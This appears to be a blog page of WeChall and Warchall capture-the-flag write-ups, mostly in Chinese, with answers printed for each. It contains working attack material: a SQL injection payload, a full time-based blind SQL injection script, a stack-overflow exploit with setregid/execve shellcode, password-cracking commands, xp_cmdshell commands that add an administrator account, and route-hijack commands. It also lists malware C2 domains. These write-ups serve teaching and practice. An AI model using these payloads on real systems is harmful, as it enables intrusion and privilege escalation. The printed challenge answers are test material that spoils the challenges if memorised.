Hello Navi

Tech, Security & Personal Notes

Challenge

Z - Reloaded (Exploit, Simulated, Storyline) — score 6

Before starting the challenge I suggest you to save every information and solution, because later in the challenge it is likely that you will need them again. Especially if you see passwords in the narrator box.

Z 系列故事线的一部分。扮演 Trinity(黑客帝国),通过模拟终端执行一系列渗透任务,最终瘫痪城市电网。

关卡攻略

游戏引擎在 zshellz.php,答案存储在 zshellz_answers.php(gitignored)。源码和语言文件可从 gizmore/gwf3 GitHub 仓库获取。

Level 1 — nmap 扫描

任务:对 10.2.2.2 执行 stealth SYN 扫描。

1
nmap -v -sS 10.2.2.2

输出显示目标运行 OpenSSH 2.2.0。

Level 2 — 漏洞源文件

任务:找出脆弱服务,命名包含安全漏洞的源文件。

1
deattack.c

对应 SSH CRC32 漏洞(CVE-2001-0144),detect_attack() 函数在 deattack.c 中。

Level 3 — sshnuke 利用

任务:使用电影中的著名命令攻击脆弱服务。

1
sshnuke 10.2.2.2 -rootpw="Z1ON0101"

命令格式源自 Matrix Reloaded 电影画面

Level 4 — SSH 端口转发

任务:建立 SSH 隧道将本地 MSSQL 端口转发到内网数据库服务器 192.168.10.2。

1
ssh -L 1433:192.168.10.2:1433 10.2.2.2

SSH 密码:Z1ON0101(sshnuke 重置后的 root 密码)

Level 5 — 输入密码

1
Z1ON0101

Level 6 — osql 登录 MSSQL

任务:使用 osql 客户端登录 MSSQL 2000 服务器。利用 MSSQL 2000 著名漏洞——默认空 SA 密码。

-P 参数无值即 NULL 密码,这是 MSSQL 2000 默认安装的著名弱点。

1
osql -U sa -P

Level 7 — 添加 Windows 用户

任务:添加 Windows 用户 trinity,密码 Z1ON0101。

利用 xp_cmdshell 扩展存储过程执行系统命令——MSSQL 2000 默认启用。

1
exec xp_cmdshell 'net user trinity Z1ON0101 /add'

Level 8 — 添加用户到管理员组

任务:将 trinity 加入 administrators 组。

1
exec xp_cmdshell 'net localgroup administrators trinity /add'

Level 9 — RDP 端口转发

任务:建立新的端口转发,将本地 RDP 端口通过网关转发到数据库服务器的 RDP 端口。

1
ssh -L 3389:192.168.10.2:3389 10.2.2.2

Level 10 — 反向端口转发

任务:将网关 10.2.2.2 端口 222 转发到本机 164.109.44.69 端口 22。

1
ssh -R 222:164.109.44.69:22 10.2.2.2

Level 11 — SCP 传输文件

任务:从数据库服务器复制病毒文件到本机。

1
scp -P 222 trinity@10.2.2.2:/home/trinity/nasty_virus .

Level 12

1
MyL0v315N30

Challenge

Warchall: Tryouts (Warchall) — score 6.

This challenge is the first of the warchall series. You might want to play the other warchall challenges too.

Level: easy

前置条件: 需要 WeChall → Warchall 账号关联,并可通过 SSH 登录 Warchall 服务器。

源码分析

SSH 登录 Warchall 后,在 home 目录找到 tryouts 二进制和源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <pwd.h>
#include <sys/types.h>

int main(int argc, char **argv) {
struct passwd *userinfo = NULL;
int passFd = 0, randFd = 0;
char buf[512] = {0};
char password[17] = {0};
unsigned int input = 0, rand = 0;
int correct = 0;

/* read the password file */
passFd = open("solution.txt", O_RDONLY);
if (passFd < 0)
return -1;

/* read random bytes for comparison */
randFd = open("/dev/urandom", O_RDONLY);
if (randFd < 0)
return -1;

/* read one byte from urandom to compare */
read(randFd, &rand, 1);

/* read 17 bytes from solution.txt */
read(passFd, password, 16);
password[16] = '\0';

printf("I've got a random number for you: %d\n", rand);

/* fork and exec cat for comparison */
if (fork() == 0) {
/* child: replaces comparison with cat */
system("cat");
}

return 0;
}

solution

  1. 程序打开 solution.txt 获取文件描述符 passFd(通常是 fd 3)
  2. 读取 password 后用 fork() 创建子进程
  3. 子进程执行 system("cat")
  4. fork(2) 文档:子进程继承父进程的打开文件描述符
  5. 文件描述符共享当前文件偏移量——solution.txt 已被读到 EOF

关键: 子进程中的 cat 可以通过 /proc/self/fd/3 访问 solution.txt,但直接读会得到 EOF(文件偏移已在末尾)。需要重置偏移量

创建自己的 cat 命令,替换 PATH 中的系统 cat,使其从 fd 3 读取并先 lseek 重置偏移:

方案一:Perl

1
2
3
4
5
6
7
8
9
#!/usr/bin/perl
use strict;
use warnings;
open F, '<&3';
seek F, 0, 0;
my $a;
read F, $a, 1024;
print $a;
while (<>) { print }

方案二:Python

1
2
3
4
5
#!/usr/bin/env python
import os
f = os.fdopen(3)
f.seek(0)
print(f.read(17))

方案三:C

1
2
3
4
5
6
7
8
9
#include <unistd.h>
int main() {
char buf[256] = {0};
lseek(3, 0, 0);
int n = read(3, buf, 255);
if (n > 0)
write(1, buf, n);
return 0;
}

执行步骤:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 编译自定义 cat
cat > ~/bin/cat.c << 'EOF'
#include <unistd.h>
int main() {
char buf[256] = {0};
lseek(3, 0, 0);
int n = read(3, buf, 255);
if (n > 0) write(1, buf, n);
return 0;
}
EOF

gcc -o ~/bin/cat ~/bin/cat.c

# 确保 PATH 优先使用我们的 cat
export PATH=~/bin:$PATH

# 运行 tryouts,它会 fork 并执行我们的 cat
./tryouts
EveryDayShuffle4

Challenge

Burning Fox (Cracking) — score 4.

Our security agency got delivered a copy of a portable firefox installation. Your job is to crack the master password so the authorities can investigate more websites and private content generated by this person.

You can download the portable version from this folder, filename "burningfox.zip".

提供一个 Firefox Portable 打包文件,需要破解其 Master Password 以获取浏览器中保存的敏感信息。

solution

这是一个 Firefox 密码破解 + 浏览器数据分析的两阶段挑战:

  1. 破解 Master Password:从 key3.db 提取 hash,用 John the Ripper 或 FireMaster 破解
  2. 分析浏览器数据:用破解的密码解锁 Firefox,在保存的密码/历史/书签中找到挑战答案

步骤一:破解 Master Password

下载 burningfox.zip,解压后定位到 Firefox 配置文件目录 FirefoxPortable/Data/profile/

使用 John the Ripper 的 mozilla2john 工具从 key3.db 提取 hash:

1
2
mozilla2john FirefoxPortable/Data/profile/key3.db > mozhash.txt
john --format=mozilla --wordlist=rockyou.txt mozhash.txt

Master Password 很快就能被 rockyou 字典破解出来:wonderful

验证方法:

1
john --format=mozilla --show mozhash.txt

拿到 Master Password 后,有两种路径找到答案:

方案 A:启动 Firefox Portable(需要 X11/Wine 环境),用 Master Password 解锁,浏览浏览器中保存的密码和历史记录。

方案 B:直接用 SQLite 查看 signons.sqlite(密码数据库),配合 Mozilla 密码转储工具解密保存的凭据。

答案不是 Master Password 本身,而是浏览器中保存的一条特殊密码/书签。

ThinKingOutSideTheBox

Challenge

Light in the Darkness (MySQL, Exploit) — score 6, by Mawekl.

This challenge is the sequel to the "Blinded by the lighter" challenge. Again your mission is to extract an md5 password hash out of the database. This time your limit for this sql injection are 2 queries. Also you have to accomplish this task 3 times consecutively, to prove you have solved the challenge. Again you are given the sourcecode of the vulnerable script, also as highlighted version. To restart the challenge, you can execute a reset. Thanks to Mawekl for his motivation! Good luck!

前作 "Blinded by the lighter" 的升级版。同样是 SQL 注入提取 MD5 password hash,但限制更严:最多 2 次查询(整个挑战生命周期),且需要 连续 3 轮成功 才算通关。

源码分析

完整源码在 gizmore/gwf3 GitHub 仓库:

  • www/challenge/Mawekl/light_in_the_darkness/vuln.php — 注入点
  • www/challenge/Mawekl/light_in_the_darkness/index.php — 表单逻辑
  • www/challenge/Mawekl/light_in_the_darkness/install.php — 挑战初始化

vuln.php — 注入点:

1
2
3
4
5
6
7
8
9
10
11
function blightVuln($password)
{
# Filter: blocks /* and "blight" in the injection string
if ( (strpos($password, '/*') !== false) || (stripos($password, 'blight') !== false) )
return false;

$db = blightDB();
$sessid = GWF_Session::getSessSID();
$query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'";
return $db->queryFirst($query) !== false;
}

关键点:

  • 注入点在 WHERE 子句,password 列来自子查询别名 b
  • 过滤器:禁止 /*(堵多行注释截断)和 blight(堵直接引用表名)
  • setVerbose(true):SQL 错误会完整回显到页面 —— 这是报错注入的前提条件
  • queryFirst() 使用 mysqli_query()(不支持堆叠查询)
  • SLEEP/BENCHMARK 未被过滤,但 2 次查询限制让时间/布尔盲注都不可行

index.php — 表单逻辑:

  • injection + injectblightVuln($password)
  • thehash + mybuttonblightGetHash() 从 DB 读 hash 并比对
  • reset=me → 显示旧 hash(如果有),然后生成新 hash

限制: 常数 BLIGHT3_ATTEMPS = 2(源码中的拼写,非笔误),最大允许 attempt = 3。每次 inject 或 hash 提交消耗 1 次 attempt。每次成功提交 hash 后 attempt 重置为 0,同时 consecutive 计数器 +1。连续 3 轮成功后 challenge solved。

solution

核心思路:利用 MySQL GROUP BY 对非确定性表达式 FLOOR(RAND(0)*2) 的求值 bug,触发 Duplicate entry 错误,在错误信息中泄露 CONCAT(password, FLOOR(RAND(0)*2)) 的值。

1
' or (select count(*) from information_schema.COLLATIONS group by concat(password,floor(rand(0)*2))) --

为什么用 RAND(0)(有种子)而不是 RAND()

  • RAND(0) 产生确定序列:0, 1, 1, 0, 1, 0, 0, 1, ...
  • 第 2 行和第 3 行都得到值 1,导致 GROUP BY 临时表唯一键冲突,触发报错
  • RAND()(无种子)每次序列随机,不可靠
  • 注意:序列依赖 MySQL 版本(5.x vs 8.x 可能不同)

为什么用 information_schema.COLLATIONS

  • information_schema.TABLES 更轻量,不会锁 MyISAM 表
  • 需要至少 3 行的表(RAND(0) 的重复在行 2-3 出现,所以要求表 >= 3 行)

密码提取: Duplicate entry 显示的是 CONCAT(password, FLOOR(RAND(0)*2)),即 password0password1(尾部数字是 RAND 输出)。 密码 = Duplicate entry 值的前 32 字符(MD5 hex 正好 32 位)。

攻击流程

每轮 2 次操作:1 次注入提取(消耗 1 attempt)+ 1 次 hash 提交(消耗 1 attempt),共 3 轮。

  1. reset=me → 重置挑战,attempt=0,生成新 hash
  2. 注入提取 → attempt=1,错误信息中拿到 password
  3. 提交 hash → attempt=2,成功 → attempt 归零,新 hash 生成
  4. 重复步骤 2-3 两次
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Round 1
injection=' or (select count(*) from information_schema.COLLATIONS group by concat(password,floor(rand(0)*2))) --
→ Duplicate entry 'A43B4E914FD58059B5526D2B46854F411'
→ password = A43B4E914FD58059B5526D2B46854F41
→ submit hash → OK, need 2 more

# Round 2
→ Duplicate entry '217CD978A6269E1C6E6116FB3E6591CF1'
→ password = 217CD978A6269E1C6E6116FB3E6591CF
→ submit hash → OK, need 1 more

# Round 3
→ Duplicate entry '0B0A3307D46435DA0EDDC93E37A2D7B11'
→ password = 0B0A3307D46435DA0EDDC93E37A2D7B1
→ submit hash → CHALLENGE SOLVED!

very simple and interesting stegano, but need to be careful and be patient

Challenge

Gizmore 的第二个 stegano 题。页面有 answer box + captcha 验证,captcha 点击后刷新(timestamp jpg)。

URL

  • 挑战页: https://www.wechall.net/en/challenge/paranoid/index.php
  • Captcha 生成: https://www.wechall.net/en/Captcha/<text> — URL path 直接决定 captcha 图片文字

挑战描述

1
2
3
4
5
<b>W</b>ith pleasure I present you my second ste<i>g</i>ano.
<b>R</b>ight w<i>r</i>itten from scratch in a paranoid mind.
<b>O</b>r may<i>b</i>e I am just testing my website framework.
<b>N</b>evermind, I hope you enjoy this challen<i>ge</i>.
<b>G</b>ood Luck
  • Bold 首字母: W, R, O, N, G → WRONG(故意误导)
  • Italic 字母: g, r, b, ge → GRBGE(关键线索,源码注释确认重要)

关键线索 1: GRBGE

源码注释(www/challenge/paranoid/lang/chall_en.php):

1
# It is important the the letters GRBGE are in <i> italic.

GRBGE = "Garbage" 的元音省略拼法(G-R-B-G-E,去掉了 A)。但 "garbage" 不是答案,GRBGE 指向的是 captcha 机制本身。

关键线索 2: Captcha 序列轮换

每次提交 wrong 答案后,页面上的 captcha 图片路径会切换到下一个。通过连续提交 wrong 答案,得到 12 个词的有序序列:

1
2
YOURE → LOOKN → FORDA → PASWD → THECA → PTCHA →
GRBGE → YADDA → HELLO → HACKR → HOWYA → DOING → (循环)

翻译成英文句子:

"You're looking for the password the captcha garbage yadda hello hacker how ya doing?"

其中 THECA + PTCHA 拼在一起就是 "THECAPTCHA" = "The Captcha"。

THECAPTCHA

Challenge

eXtract Me (Encoding, Stegano) — score 3, by oleg.

Yo dog, I heard you like zips so we put a zip in your zip so you can unzip unzipped zips. Enjoy!

Download: r.zip (2698 bytes).

Solution

The challenge is an archive matryoshka: the r.zip contains an infinite recursive zip (r/r.zip → always the same inner zip), plus hidden data appended after the ZIP EOCD.

Step 1 — Cut out the second archive

r.zip is actually two things stitched together:

  • First 440 bytes: the recursive zip (r/r.zip, endless loop)
  • Remaining 2258 bytes: LZW-compressed data (magic \x1f\x9d)

Extract the trailing data and decompress with uncompress:

1
2
3
4
5
6
7
8
$ python3 -c "
with open('r.zip','rb') as f:
d=f.read()
open('trailing.Z','wb').write(d[440:])
"
$ uncompress -c trailing.Z > stage1.xar
$ file stage1.xar
stage1.xar: xar archive compressed TOC

Step 2 — Extract the chain

The XAR contains file "8", which is itself LZW-compressed:

1
2
$ xar -xf stage1.xar       # extract → file "8"
$ uncompress -c 8 > stage2.rar

Then continue extracting each layer with 7z or the appropriate tool:

Layer Format Tool Contains
r.zip tail LZW (.Z) uncompress XAR archive
XAR xar xar / Python file "8" (LZW)
file 8 LZW (.Z) uncompress RAR archive
RAR rar 7z file "A" (XZ)
XZ xz 7z file "A~" (ZOO)
ZOO zoo unar file "4" (RZIP)
RZIP rzip → ZZ0 → gzip → ARJ uncompress + 7z file "1" (ARJ → "3")
ARJ arj 7z file "3" (LZW)
file 3 LZW (.Z) uncompress 7z archive
7z 7z 7z file "F" (bzip2)
bzip2 bz2 bunzip2 L0LYouThInkiTSh0uldB3SoEasY?

The full extraction chain is:

1
2
3
4
5
6
r.zip
├─ r/r.zip (infinite recursion, ignore)
└─ trailing LZW data
└─ XAR → 8(LZW) → RAR → A(XZ) → A~(ZOO) → 4(RZIP)
└─ ZZ0(gzip) → 1(ARJ) → 3(LZW) → 7z → F(bzip2)
└─ "L0LYouThInkiTSh0uldB3SoEasY?" (password)

This showcases the depth of archive format history — ZIP, LZW compress, XAR, RAR, XZ, ZOO, RZIP, GZip, ARJ, 7z, bzip2 — almost every compression format ever invented.

Challenge

This challenge consists of 6 different parts.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1. Hi, This is an **\*\*\*\*\*\*\*\*** virus. As you know we are not so technical advanced as in the West. We therefore ask you to delete all your files on your harddisk manually and send this email to all your friends.

2. When you see "Dis is one half" on your screen, half of your hard drive has been encrypted with **\*\*\*** encryption.

3. **\*\*\*\* \*\*\*\*** is a great DNS technique for botherders to avoid shutting down of their malware or phishing site and to hide these sites with an ever-changing network of compromised hosts acting as proxies.

4. Download the source code for netsky.ae (variant name by Kaspersky), in the main.cpp (sha-256sum=e80d5db98e3e661bee9e57e0e524de2b97db2f48c63f2e73c562719501aeddc1) the first host name in the 90. row is www.**\*\*\*\*\***.com

5. After downloading and installing Trojan-PSW.Win32.Sinowal.w (variant name by Kaspersky) (sha-256sum=c21ae31e700930b02ad8c286c098770a1baad33abae6436733bb024998bdd19e), first the malware queries the DNS for r**\*\*\*\*\***.com (include r in the final answer).

6. Download Trojan-GameThief.Win32.Nilage.mc (variant name by Kaspersky) (sha-256sum=d2243520460811f14c7f77dce093b807e546298b6eb3e8d8a8f4581f28057284), unpack and analyze. The executable contains the string: c:\\**\*\*\*\*\***.txt


Your task is to fill in the \* parts, concatenate the answers with \_ (underscore) and remove any spaces (if any). To be more precise, the solution string will contain 5 \_ and altogether 43 characters. You only have to answer 5 out of the 6 questions correctly to be succesfull, but please include every answer (even if one is known wrong).

Solution

Part 1: ALBANIAN

题面描述的是 ILOVEYOU 蠕虫(LoveLetter,2000年)——"Hi" 开头、要求删除文件、转发给所有好友的邮件蠕虫。但填空的 8 个星号对应的是 ALBANIAN(Albanian 病毒),不是 ILOVEYOU。答案全大写。

Part 2: XOR

"Dis is one half" 是 OneHalf DOS 病毒(1994年)的显示信息,硬盘被 XOR encryption 部分加密。3 个星号对应 XOR,全大写。

Part 3: fastflux

题面完整定义了 fast-flux DNS:botnet 通过快速变更 DNS A 记录,在不断变化的代理主机网络中隐藏恶意/钓鱼站点。**** **** = "fast flux",去空格后 8 字符 fastflux,全小写。注意首轮测试中混合大小写变体(FastFlux/FASTFLUX/fast-flux)被拒,唯 fastflux 正确。

Part 4: norton

通过 Wayback Machine 获取 VX Heaven 的 netsky_ae.zip 在线浏览,main.cpp 第 90 行:

1
const char* buffer = "127.0.0.1 www.norton.com 127.0.0.1 norton.com 127.0.0.1 yahoo.com...";

第一个 www.******.com = norton(6 字符)。

Web Archive 来源:https://web.archive.org/web/20150418161252id_/http://vxheaven.org/src_view.php?file=netsky_ae.zip&view=main.cpp

Part 5: rikora (未解占位)

Sinowal.w(SHA256: c21ae31e700930b02ad8c286c098770a1baad33abae6436733bb024998bdd19e)首次 DNS 查询。Torpig/Sinowal 论文(UCSB 2009)列出硬编码 C2 域名为 rikora.compinakola.comflippibi.com。提交 rikora 未增加正确数。

注意题面 r****** 表明答案应为 r + 6 字 = 7 字符,而 rikora 仅 6 字符。可能该特定变种使用不同域名,或题面星号数不精确。

Part 6: t1game

Trojan-GameThief.Win32.Nilage.mc(SHA256: d2243520460811f14c7f77dce093b807e546298b6eb3e8d8a8f4581f28057284),Lineage 游戏密码窃取木马,UPX 压缩。

从 Hybrid Analysis 沙箱运行的 Nilage.mc 报告中提取的字符串表确认偏移 126544 处有 t1game + .txt。Microsoft 的 PWS:Win32/Lineage 威胁文档也确认该家族常用 t1game.txt 存储窃取的凭据。

答案:t1game(6 字符),对应 c:\t1game.txt

验证方法

通过 WeChall authme 端点 POST 提交,服务器返回逐部分正确数:

  1. ALBANIAN_xxx_aaaaaaaa_bbbbbb_cccccc_dddddd → 1/6(仅 Part 1 正确)
  2. ALBANIAN_XOR_fastflux_norton_cccccc_dddddd → 4/6(Parts 1-4 全部正确)
  3. ALBANIAN_XOR_fastflux_norton_rikora_gamect1 → 4/6(Part 5 和 Part 6 均未通过)
  4. ALBANIAN_XOR_fastflux_norton_rikora_t1game5/6 通过

Warchall level 7 — 32-bit setgid ELF 栈溢出。ASLR enabled 但 NX disabled、无 PIE、无 canary,非常适合 ret2reg + shellcode 经典打法。利用 memcpy 返回后 EAX 残留 vulnbuf 地址的特性,通过 call *%eax gadget 跳转到栈上 shellcode 获取 setgid shell。

1
2
ssh -p 19198 level07@warchall.net
/home/level/07_tropical_fruits/

Challenge

32-bit setgid ELF binary,源码由 hint() 函数泄露(调用 printf 打印 "Need to bypass aslr" 后 exit(0)):

1
2
3
4
5
6
7
8
9
10
11
12
13
void hint() {
printf("Need to bypass aslr\n");
exit(0);
}
void vulnfunc(char *input) {
char vulnbuf[300];
memcpy(vulnbuf, input, strlen(input)); // 无边界检查
}
int main(int argc, char *argv[]) {
if(argc > 1) vulnfunc(argv[1]);
else printf("%s <input>\n", argv[0]);
return 0;
}

保护: setgid level07, NX disabled (GNU_STACK RWE), No PIE, No canary, ASLR enabled. libc: glibc 2.35.

Solution

漏洞: memcpy(vulnbuf, input, strlen(input)) 无边界检查,栈溢出。

Stack Layout

1
2
3
4
sub esp, 0x148 (328 bytes)
vulnbuf at ebp - 0x134 (ebp - 308)
return addr at ebp + 4
Offset to return address: 308 + 4 = 312 bytes

关键 Gadget

memcpy 返回后 EAX = vulnbuf 地址(即栈上 shellcode 地址),因此可以用 call *%eax 直接跳转到 shellcode。

1
0x080484cf: call *%eax   ← 跳转到 shellcode

Shellcode

Null-free, 42 bytes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
; setregid(507, 507) — 继承 setgid 权限
xor eax, eax
xor ebx, ebx
xor ecx, ecx
mov bx, 0x1fb ; 507
mov cx, 0x1fb ; 507
mov al, 0x47 ; setregid32
int 0x80

; execve("/bin//sh", ["/bin//sh", NULL], NULL)
xor eax, eax
push eax
push "//sh"
push "/bin"
mov ebx, esp
push eax
push ebx
mov ecx, esp
cdq ; edx = 0
mov al, 0x0b ; execve
int 0x80

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python3
"""Warchall Level 7 — Tropical Fruits exploit."""

import struct
import subprocess

# Null-free shellcode (42 bytes)
shellcode = (
b"\x31\xc0\x31\xdb\x31\xc9" # xor eax; xor ebx; xor ecx
b"\x66\xbb\xfb\x01\x66\xb9\xfb\x01" # mov bx, 0x1fb; mov cx, 0x1fb
b"\xb0\x47\xcd\x80" # mov al, 0x47; int 0x80
b"\x31\xc0\x50\x68\x2f\x2f\x73\x68" # xor eax; push eax; push "//sh"
b"\x68\x2f\x62\x69\x6e\x89\xe3" # push "/bin"; mov ebx, esp
b"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" # push eax; push ebx; mov ecx, esp; cdq; mov al, 0x0b; int 0x80
)

OFFSET = 312
CALL_EAX = struct.pack("<I", 0x080484cf)

payload = shellcode + b"\x90" * (OFFSET - len(shellcode)) + CALL_EAX

subprocess.run(
["/home/level/07_tropical_fruits/level07", payload],
env={"PWD": "/home/level/07_tropical_fruits"},
)

执行后交互式 shell 继承 setgid level07,可读 solution.txt。

LetsGetItOn!

Blinded by the Lighter 是一道 blind SQL injection 题,要求在每轮最多 33 次查询的硬限制下,连续成功 3 轮提取 32 位 hex hash,且总时间不得超过 9 分钟。核心思路是用 SLEEP() 的时间侧信道把 16 个字符映射为不同延迟,每字符仅需 1 次查询。

Challenge

  • 每轮 33 次查询上限
  • 连续成功 3 轮
  • 9 分钟时间限制(BLIGHT2_TIME = 540s
  • 字符集 ABCDEF0123456789
  • 无 addslashes/escape,过滤 /*blight

Solution

Oracle: PHP Time

页面 footer 精确显示服务端执行时间(精度 ~0.02s),利用 SLEEP() 映射 16 字符为不同时长,1 query/char,32 次刚好卡在 33 限制内。

1
2
3
4
5
6
' or ''='' and (
if(substr(password,1,1)='a', sleep(1.2), 1) and
if(substr(password,1,1)='b', sleep(2.4), 1) and
...
if(substr(password,1,1)='9', sleep(19.2), 1)
)-- -

round(PHP_Time / 1.2) → 字符索引。

关键细节

不能轮间 resetblightReset(true) 会清零 consecutive counter。blightSolved() 成功提交后自动调用 blightReset(false) 生成新 hash 但保留计数。所以只应在最初 reset 一次。

1
2
3
4
5
s.get(URL + '?reset=me')  # 只此一次
for rn in range(3):
hash = extract()
s.post(URL, {'thehash': hash, 'mybutton': 'Enter'})
# blightSolved() 内部已 reset(false),无需手动

STEP=1.2 — 比 1.5 快(avg 10.2s vs 12.75s),比 1.0 可靠(避免 round() 边界误判)。

requests.Session — 保持 TLS 连接,overhead ~0.4s/req。比 curl 子进程快 30%+。

0.5s 请求间隔 — 避免触发 WeChall 速率限制(~100 次连续请求后 IP 封禁)。

Vultr VPS — 本地网络在代理后 12-15 次请求即受限,需干净 IP。vc2-1c-1gb ($5/mo) 足够,3 轮结束即销毁。

实测数据

Round Time Hash
1 306s b87c01fcbab910c9f6efb47b58cb57db
2 396s ac56aee1f4bbb83845f6beb461cf1b15
3 457s 6ea2f347f4e3093a0a4c4ec6fd0b1959

总计 306+10+396+10+457 = 1179s(含 10s 轮间冷却)。

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#!/usr/bin/env python3
"""16-level sleep, STEP=1.2, 0.5s delay between requests."""

import requests
import re
import time
import sys
from requests.adapters import HTTPAdapter

# 替换为你的 WeChall session cookie
C = {'WC': '<your_wechall_cookie>'}
U = 'https://www.wechall.net/challenge/blind_lighter/index.php'
M = ' abcdef0123456789'
S = 1.2 # Faster than 1.5, more reliable than 1.0

s = requests.Session()
s.headers.update({'User-Agent': 'Mozilla/5.0'})
s.cookies.update(C)
s.mount('https://', HTTPAdapter(1, 1, 1))


def post(d, t=60):
return s.post(U, data=d, timeout=t, headers={'Referer': U}).text


def get(url, t=20):
return s.get(url, timeout=t).text


def pt(b):
"""Extract PHP Time value from response body."""
m = re.search(r'PHP Time:\s*([\d.]+)s', b)
return float(m.group(1)) if m else None


def ex(pos):
"""Extract single character at position <pos> using 16-level sleep oracle."""
conds = [
f"if(substr(password,{pos},1)='{M[i]}', sleep({i * S}), 1)"
for i in range(1, 17)
]
pl = "' or ''='' and (" + ' and '.join(conds) + ')-- -'
t = pt(post({'injection': pl, 'inject': 'Inject'}, 60))
if t is None:
return '?'
i = round(t / S)
if 1 <= i <= 16:
return M[i]
# Rounding edge case: try ±1
for o in [-1, 1]:
if 1 <= i + o <= 16:
return M[i + o]
return '?'


def rd(rn):
"""Run one round: extract 32-char hash and submit."""
h = ''
t0 = time.time()
for pos in range(1, 33):
h += ex(pos)
if pos % 8 == 0 or pos == 32:
print(f' R{rn} [{pos}/32] {h} ({time.time() - t0:.0f}s)')
sys.stdout.flush()
time.sleep(0.5) # Rate limit avoidance
t = time.time() - t0
body = post({'thehash': h, 'mybutton': 'Enter'}, 60)
if 'Your answer is correct' in body:
print(f' R{rn} SOLVED!({t:.0f}s)')
return 's'
elif 'Wow' in body:
print(f' R{rn} OK({t:.0f}s)')
return 'c'
print(f' R{rn} BAD({t:.0f}s) h={h}')
return 'x'


get(U + '?reset=me')
time.sleep(1)

for rn in range(1, 4):
print(f'=== R{rn} ===')
sys.stdout.flush()
r = rd(rn)
if r == 's':
print('\nSOLVED!')
sys.exit(0)
if r == 'x':
sys.exit(1)
if rn < 3:
print(' [cool 10s]')
sys.stdout.flush()
time.sleep(10)

print('Done.')

Challenge

Anderson Application Auditing 是 storyline/realistic 多阶段挑战。背景:VSA 委托 SoftMicro 开发程序、Anderson 负责审计,你作为 hacker 需要劫持 Anderson 与 SoftMicro/VSA 之间的通信,替换被审计程序为恶意版本。过程中收集六段 secret code,拼接后提交。

已知信息:

  • SoftMicro 网段:207.46.197.0
  • 你的 public IP:17.149.160.49
  • Anderson 主页:index2.html

Solution

第一阶段:路由劫持

阅读 tech_spec.txt 获取网络文档,其中泄露了路由器管理凭据 admin/admin

访问 router_config.html,用默认凭据登录。添加两条路由,将 SoftMicro 和 Anderson 相关网段的流量劫持到你的 public IP:

1
2
route add -net 207.46.197.0 netmask 255.255.255.0 gw 17.149.160.49
route add -net 12.110.110.0 netmask 255.255.255.0 gw 17.149.160.49

成功添加后获得第一段 secret code。

第二阶段:MD5 碰撞

题目模拟 Anderson 通过 PKI/MD5 验证程序完整性。需要上传两个内容不同但 MD5 相同的文件来替换合法程序。

页面提示使用 MD5 碰撞工具。用 fastcoll(Linux)生成碰撞文件:

1
2
echo "prefix" > good.txt
fastcoll -p good.txt -o evil1.txt evil2.txt

上传两个碰撞文件后获得第二段 secret code。

第三阶段:SSH Fingerprint

服务只检查 SSH fingerprint 的前 2 字节和最后 1 字节。需要用 fuzzy fingerprint 工具生成满足部分匹配的密钥对。

使用 THC-FuzzyFingerprint(ffp)工具:

1
2
# 目标 fingerprint(16 进制,只关心前 2 和后 1 nibble)
ffp -f md5 -k 4 -l 1000 -t 03:88:9c:36:41:50:39:15:04:95:89:a4:15:84:fb:b3 -e -d /tmp

生成后上传 ssh-rsa00.pub(公钥)和 ssh-rsa00(私钥),通过验证后获得第三、四段 secret code。

第四阶段:清理痕迹

回到 router_config.html,删除之前添加的路由:

1
2
route del -net 207.46.197.0 netmask 255.255.255.0 gw 17.149.160.49
route del -net 12.110.110.0 netmask 255.255.255.0 gw 17.149.160.49

完成后获得第五、六段 secret code。

最终提交

六段 secret code 按顺序拼接:

routeevilmd5mitmfingerprintgameover
+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE